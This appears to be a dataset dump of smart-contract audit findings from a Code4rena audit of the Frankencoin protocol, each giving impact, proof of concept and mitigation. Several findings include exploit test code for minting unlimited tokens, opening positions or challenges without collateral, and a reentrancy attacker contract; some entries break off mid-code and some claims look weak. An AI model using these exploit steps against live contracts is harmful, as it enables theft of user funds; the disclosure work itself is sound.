xanoutas/solidity-security-findings huggingface dataset:
An attacker whose a 3% shareholder can wipe-out all the tokens of anyone using a flash-loan
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L309-L316


# Vulnerability details

## Impact

A 3% votes holder can wipe the equity of any other holder using the `restructureCapTable` function.

## Proof of Concept

  1. a) Be a 3% votes holder (or have helpers that together have 3%)
  2. b) Reduce the equity to be less than `MINIMUM_EQUITY`
     - (This could be done by taking a flash loan, and buying equity until it's low enough. Hence the attacker doesn't have to pay for all that equity since he would immediately return it to the flash loan.)
  3. c) Call the [restructureCapTable function](https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L309) and wipe any address you desire.

There's no need to add code POC since this is [already done in the tests](https://github.com/code-423n4/2023-04-frankencoin/blob/main/test/PositionTests.ts#L316-L318). The only difference is that an attacker would do that with a flash loan instead.

## Tools Used

Just the same hardhat suite as the project.

## Recommended Mitigation Steps

I would advise removing the `restructureCapTable` feature.
An attacker can mint himself many tokens for free by cloning a position and adjusting its price
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L160-L162


# Vulnerability details

## Impact

A malicious attacker can mint himself the max limit amount of tokens of any position for free, by cloning a position and manipulating its price.

## Proof of Concept

**Steps overview:**

  1. a) The attacker clones an existing position
  2. b) The attacker sets the price of the cloned position to `type(uint256).max`
     - (This step makes it so if anyone tries to start a challenge and bid it during the 3-day waiting period, they fail since the contract would revert [on this line in tryAvertChallange](https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L307))
     - (Note that this step isn't necessary if the challenge period is more than 3 days (which is the case in the tests, where the challenge period is 7 days))
  3. c) The attacker waits 3 days. The position cannot be denied or challenged at this time.
  4. d) The attacker sets the price of the position to a lower (yet still huge) value, so when he tries to mint against the position it won't revert.
  5. e) The attacker mints against the position and gets as many Frankencoins as he desires.



**In-depth explanation and POC code:**

I added the following POC to the `PositionTests.ts` file, instead of the "clone position" test in "use Minting Hub"

```typescript
async function clonePosition(cloner, pos_addr, initial_collateral, mint_amount) {
    await mockVOL.connect(cloner).approve(mintingHubContract.address, initial_collateral);
    fGlblZCHBalanceOfCloner = await ZCHFContract.balanceOf(cloner.address);
    let tx = await mintingHubContract.connect(cloner).clonePosition(pos_addr, initial_collateral,
        mint_amount);
    let rc = await tx.wait();
    const topic = '0x591ede549d7e337ac63249acd2d7849532b0a686377bbf0b0cca6c8abd9552f2'; // PositionOpened
    const log = rc.logs.find(x => x.topics.indexOf(topic) >= 0);
    clonePositionAddr = log.address;
    return await ethers.getContractAt('Position', clonePositionAddr, cloner);
}

it("malicious clone position", async () => {
    let fInitialCollateralClone = floatToDec18(1);
    let fZCHFAmount = floatToDec18(0);

    // send very little collateral to the attacker
    await mockVOL.transfer(attacker.address, fInitialCollateralClone);

    clonePositionContract = await clonePosition(attacker, positionAddr, fInitialCollateralClone, fZCHFAmount);

    // Set price to be VERY big, if anyone tries to challange this position,
    // the bid would revert from integer overflow in checkCollateral
    let newPrice = BN.from("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff")
    await clonePositionContract.adjustPrice(newPrice)

    // wait 3 days... it's IMPOSSIBLE TO DENY OR BID the position during this time!
    await ethers.provider.send('evm_increaseTime', [3 * 86_400 + 60]);
    console.log("Attacker balance before exploit:  ", (await ZCHFContrac
can open a position without any collateral in MintingHub.sol
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L88-L113


# Vulnerability details

## Impact
**openPosition(...)** function in MintingHub.sol ignores return value by **challenge.position.collateral().transferFrom**

Several tokens do not revert in case of failure and return false. The require still pass but then, if the token used as collateral return false, the amount is not tranferred and the position still open.
```ruby
require(_initialCollateral >= _minCollateral, "must start with min col");
IERC20(_collateralAddress).transferFrom(msg.sender, address(pos), _initialCollateral);
```
## Proof of Concept
I created a test ERC20 that return bool instead of reverting and commenting the line in the test where the user mint 1001 collateral token the tests that not include minting (thanks to [checkCollateral](https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L282-L284) function) and withdrawing (revert by underflow) still pass.
```ruby
    function initiatePosition(TestTokenFinding col, MintingHub hub) public returns (address) {
        // col.mint(address(this), 1001); <------------------------------------- user has 0 collateral token
        col.approve(address(hub), 1001);
        uint256 balanceBefore = zchf.balanceOf(address(this));
        address pos =
            hub.openPosition(address(col), 100, 1001, 1000000 ether, 100 days, 1 days, 25000, 100 * (10 ** 36), 200000);
        require((balanceBefore - hub.OPENING_FEE()) == zchf.balanceOf(address(this)));
        Position(pos).adjust(0, 1001, 200 * (10 ** 36));
        Position(pos).adjustPrice(100 * (10 ** 36));
        return pos;
    }
```
```
Running 7 tests for test/GeneralTestFinding.t.sol:GeneralTest
[PASS] test01Equity() (gas: 2082216)
[PASS] test02DenyPosition() (gas: 1833683)
[PASS] test03MintingEarly() (gas: 1818554)
[FAIL. Reason: InsufficientCollateral()] test04Mint():(address) (gas: 1953329)
[PASS] test05MintFail() (gas: 1827350)
[FAIL. Reason: Arithmetic over/underflow] test06Withdraw() (gas: 2034652)
[FAIL. Reason: InsufficientCollateral()] test09EndingChallenge() (gas: 4099096)
Test result: FAILED. 4 passed; 3 failed; finished in 3.73ms
```
## Tools Used
Manual review

## Recommended Mitigation Steps
Ensure that the transferFrom return value is checked or use SafeERC20.
Challenging invalid positions can allow an attacker to reward himself with infinite tokens
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L115-L118
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L140


# Vulnerability details

## Impact

An attacker can mint himself as many Frankencoins as he wants in a single transaction by challenging an invalid position.

## Proof of Concept


**Steps overview:**

Since there's no check on the validity of a position when challenging it, an attacker can:

  1. a) Create a malicious position with a huge collateral price
  2. b) Start a challenge on the malicious position
  3. c) End the challenge of the malicious position
     - (This would cause the position to mint many Frankencoins and transfer them to the attacker.)


**In-depth explanation and POC code:**

The following is a test I added to `PositionTests.ts` that implements this exploit (most of the setup code is copied from the position tests).

```typescript
describe("Mint infinite Frankencoins", () => {
    it("create malicious position", async () => {
        // The collateral is a "fake" token that doesn't do anything and never reverts
        let dacaMock = await createContract("FakeToken", []);
        let collateral = dacaMock.address;

        // Attacker is gonna be rich
        let fliqPrice = BN.from("0xffffffffffffffffffffffffffffffffffffffffffffffff")
        let minCollateral = floatToDec18(0);
        let fInitialCollateral = floatToDec18(1);
        let duration = BN.from(14 * 86_400);
        let fFees = BN.from(fee * 1000_000);
        let fReserve = BN.from(reserve * 1000_000);
        let challengePeriod = BN.from(0); // Challenge period is zero

        let openingFeeZCHF = await mintingHubContract.OPENING_FEE();

        // Attacker only needs the pay to position opening fee
        await ZCHFContract['transfer(address,uint256)'](attacker.address, openingFeeZCHF);

        // Create the malicous position
        let tx = await mintingHubContract.connect(attacker)["openPosition(address,uint256,uint256,uint256,uint256,uint256,uint32,uint256,uint32)"]
            (collateral, minCollateral, fInitialCollateral, initialLimit, duration, challengePeriod, fFees, fliqPrice, fReserve);
        let rc = await tx.wait();
        const topic = '0x591ede549d7e337ac63249acd2d7849532b0a686377bbf0b0cca6c8abd9552f2'; // PositionOpened
        const log = rc.logs.find(x => x.topics.indexOf(topic) >= 0);
        positionAddr = log.address;
    });
    it("launch challange in malicous position", async () => {
        // The attacker starts with no tokens
        console.log("Attacker balance before attack: ", (await ZCHFContract.balanceOf(attacker.address)).toString())

        // Create a new challenge in the malicous position
        await mintingHubContract.connect(attacker)["launchChallenge(address,uint256)"](positionAddr, floatToDec18(1));
    });
    it("end challange in malicous position", async () => {
        // Immediatly end the challenge (c
Unrestricted Token Transfer and Minting
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L241-L255
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L275-L282


# Vulnerability details

## Impact
 An attacker could exploit this vulnerability to mint an unlimited number of tokens, potentially devaluing the token and manipulating the market.
Proof of Concept:


## Proof of Concept
--The contract allows anyone to call the onTokenTransfer function without any restrictions or validations. This function mints new tokens and could potentially be exploited by an attacker.
--Additionally, the redeem function does not validate the target address, which could lead to unintended token transfers.


## Tools Used
Slither, remix
## Recommended Mitigation Steps
Add a modifier to restrict onTokenTransfer function calls to only the expected callers.
Validate the target address in the redeem function to prevent unintended token transfers.
Fixed code version:
```
pragma solidity >=0.8.0 <0.9.0; import "./Frankencoin.sol"; 
import "./IERC677Receiver.sol"; 
import "./ERC20PermitLight.sol"; 
import "./MathUtil.sol"; 
import "./IReserve.sol"; 

contract Equity is ERC20PermitLight, MathUtil, IReserve 
{ // Add a new modifier to restrict onTokenTransfer 
function calls modifier onlyZCHF() { require(msg.sender == address(zchf), "caller must be zchf"); _; } // ... Rest of the contract ... /** * In order to mint new FPS tokens, one needs to send ZCHF to this contract using the transferAndCall 

function * in the ZCHF contract. * * If equity is close to zero or negative, you need to send enough ZCHF to bring equity back to 1000 ZCHF. */ 

function onTokenTransfer(address from, uint256 amount, bytes calldata) external onlyZCHF returns (bool) { // ... Rest of the 

function ... } /** * Redeem the given amount of shares owned by the sender and transfer the proceeds to the target. */ 

function redeem(address target, uint256 shares) public returns (uint256) { require(target != address(0), "Invalid target address"); // Validate the target address // ... Rest of the function ... } // ... Rest of the contract ... }
```
By adding the onlyZCHF modifier to the onTokenTransfer function, we ensure that only the expected callers (the ZCHF contract) can call this function, thus preventing unrestricted token minting. Additionally, we validate the target address in the redeem function to prevent unintended token transfers.
There is no way to withdraw the Fees from the reserve contract
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L303


# Vulnerability details

## Impact
This will mean 1000 of dollars worth of ZCHF in fees cannot be withdrawn by the owner

## Proof of Concept
The reserve contract currently(or can be the frankencoin contract also) lacks a function for withdrawing ZCHF tokens, which are deposited as fees when opening a new position or proposing a new minter.

## Tools Used
Manual review

## Recommended Mitigation Steps
Add a function to withdraw the fees in the frankencoin contract
```solidity
function withdrawFees(uint256 _amount) external onlyOwner {
    _transfer(address(reserve), msg.sender, _amount);
  }
```
The minter can steal the Frankencoin in notifyLoss()
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L280


# Vulnerability details

## Impact
The minter can steal the Frankencoin in notifyLoss() because of 

In this code:
      if (reserveLeft >= _amount){
         _transfer(address(reserve), msg.sender, _amount);

The minter can call the function notifyLoss() Constantly. When reserveLeft >= _amount, the minter who call the first can earn the money.

## Proof of Concept
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L280

## Tools Used
sublimed and other audit tools

## Recommended Mitigation Steps

I think that is a design problem. Only the admin is allowed call this function.
can launch a challenge without any collateral in MintingHub.sol
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L140-L148


# Vulnerability details

## Impact
**launchChallenge(...)** function in MintingHub.sol ignores return value by **challenge.position.collateral().transferFrom**

Several tokens do not revert in case of failure and return false. If the token used as collateral return false, the user can launch a challenge to a position without any collateral transfer.
```ruby
IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount);
```
## Proof of Concept
I created a test ERC20 that return bool instead of reverting and commenting the line in the test where bob mint 1300 collateral token the test still pass.
```ruby
    function test09EndingChallenge() public {
        test01Equity(); // ensure there is some equity to burn
        address posAddress = test04Mint(); // create a position to be challenged
        Position pos = Position(posAddress);

        // check some assumptions
        require(pos.minted() == 100000 ether);
        require(pos.collateral().balanceOf(posAddress) == 1001);

        // three challenges in parallel :)
        // col.mint(address(bob), 1300); <------------------------------------- bob has 0 collateral token
        uint256 first = bob.challenge(hub, posAddress, 300);
        require(hub.isChallengeOpen(first));
        uint256 second = bob.challenge(hub, posAddress, 400);
        uint256 third = bob.challenge(hub, posAddress, 500);

        // avert first challenge
        alice.avertChallenge(hub, swap, first);

        // bid on others
        bob.obtainFrankencoins(swap, 55_000 ether);
        bob.bid(hub, second, 10_000 ether); // liquidation price would be 40_000
        bob.bid(hub, third, 20_000 ether); // liquidation price would be 50_000
        bob.bid(hub, third, 25_000 ether);

        (address challenger, IPosition p, uint256 size, uint256 a, address b, uint256 bid) = hub.challenges(third);
        require(challenger != address(0x0), "challenge not found");
        require(size == 500);
        require(bid == 25_000 ether);

        skip(1 * 86_400 + 60);
        hub.end(second, false);
        hub.end(third, false);
    }
```

## Tools Used
Manual review

## Recommended Mitigation Steps
Ensure that the transferFrom return value is checked or use SafeERC20.
The owner of position can mint zchf unlimitedly by becoming the challenger that successfully challenges their own position to receive unlimit reward. 
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L252-L276
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L329-L354
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L252-L276


# Vulnerability details

## Summary 

The owner of position can become the challenger of his position and end the challenge within the same block after the open the position to earn unlimited reward. By executing within the same block, the owner could prevent the intervention of other entities such as the voters, other challengers, and bidders. 


## POC

-To guarantee that there is no intervention of the other bidder, the owner could create a position and set ```_challengeSeconds``` to 0.

-After successfully create the position, the owner then ```launchChallenge``` within the same block of creation of position and set ```_collateralAmount``` of challenger to be equal to collateral amount of position 


https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L252-L276  

-After launching the challenge, within the same block, the owner then can end the auction which will pass because ```challenger.end``` is equal to block.timestamp of the creation of position and launching of challenge. 

-The challenger’s collateral will return to the challenger (the owner) in line 257 

-Since challenge.bidder is address zero (because noone bid yet), the recipient is msg.sender (the owner who initiates this function) in line 259. The collateral in the position of owner will then flow to himself. Now all the costs are covered 


https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L329-L354

-Apart from sending collateral back to the owner, the function ```challenge.position.notifyChallengeSucceeded``` will produce the volume equal to the size of challenge * price. As in line 347 which will be used to calculate the reward for winning the challenge 




https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L252-L276  

-In line 269, because ‘’’efffectiveBid``` is zero due to no bid, ```fundsNeeded``` will always be larger which triggers notifyLoss which allows the owner to mint zchf by bypassing minting restriction. 

-With this method owner will get his collateral from the position and challenge back as well as the reward of winning challenge. 


## Mitigation
-Add time restriction on end function to allow some gap for other participants or voters to be involve with the position.
Reentrancy Attack Vulnerability in StablecoinBridge Contract
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/StablecoinBridge.sol#L49


# Vulnerability details

## Impact
The vulnerability can potentially drain the funds of the contract by allowing an attacker to repeatedly call the mint() or burn() functions and re-enter the mintInternal() or burnInternal() functions before they complete.

## Proof of Concept

To deploy the StablecoinBridge contract, the user needs to provide the addresses of the other stablecoin and IFrankencoin contract as inputs, along with a value for the limit_ parameter that is set to be greater than 1 ether.

			// SPDX-License-Identifier: MIT
			pragma solidity ^0.8.0;

			import "./IERC20.sol";
			import "./IERC677Receiver.sol";
			import "./IFrankencoin.sol";

			contract StablecoinBridge {
			    IERC20 public immutable chf; 
			    IFrankencoin public immutable zchf;
			    uint256 public immutable horizon;
			    uint256 public immutable limit;

			    constructor(address other, address zchfAddress, uint256 limit_){
				chf = IERC20(other);
				zchf = IFrankencoin(zchfAddress);
				horizon = block.timestamp + 52 weeks;
				limit = limit_;
			    }

			    function mint(uint256 amount) external {
				mint(msg.sender, amount);
			    }

			    function mint(address target, uint256 amount) public {
				chf.transferFrom(msg.sender, address(this), amount);
				mintInternal(target, amount);
			    }

			    function mintInternal(address target, uint256 amount) internal {
				require(block.timestamp <= horizon, "expired");
				require(chf.balanceOf(address(this)) <= limit, "limit");
				zchf.mint(target, amount);
			    }

			    function burn(uint256 amount) external {
				burnInternal(msg.sender, msg.sender, amount);
			    }

			    function burn(address target, uint256 amount) external {
				burnInternal(msg.sender, target, amount);
			    }

			    function burnInternal(address zchfHolder, address target, uint256 amount) internal {
				zchf.burn(zchfHolder, amount);
				chf.transfer(target, amount);
			    }

			    function onTokenTransfer(address from, uint256 amount, bytes calldata) external returns (bool){
				if (msg.sender == address(chf)){
				    mintInternal(from, amount);
				} else if (msg.sender == address(zchf)){
				    burnInternal(address(this), from, amount);
				} else {
				    require(false, "unsupported token");
				}
				return true;
			    }
			}


By deploy the MaliciousContract contract, passing the address of the StablecoinBridge contract as a constructor argument in the code below , 

		pragma solidity ^0.8.0;

		import "./StablecoinBridge.sol";

		contract MaliciousContract {
		    StablecoinBridge public bridge;
		    uint public count = 0;

		    constructor(StablecoinBridge _bridge) {
			bridge = _bridge;
		    }

		    function attack() external {
			count++;
			bridge.burn(1 ether);
		    }
		}



By calling the attack() function of the MaliciousContract contract repeated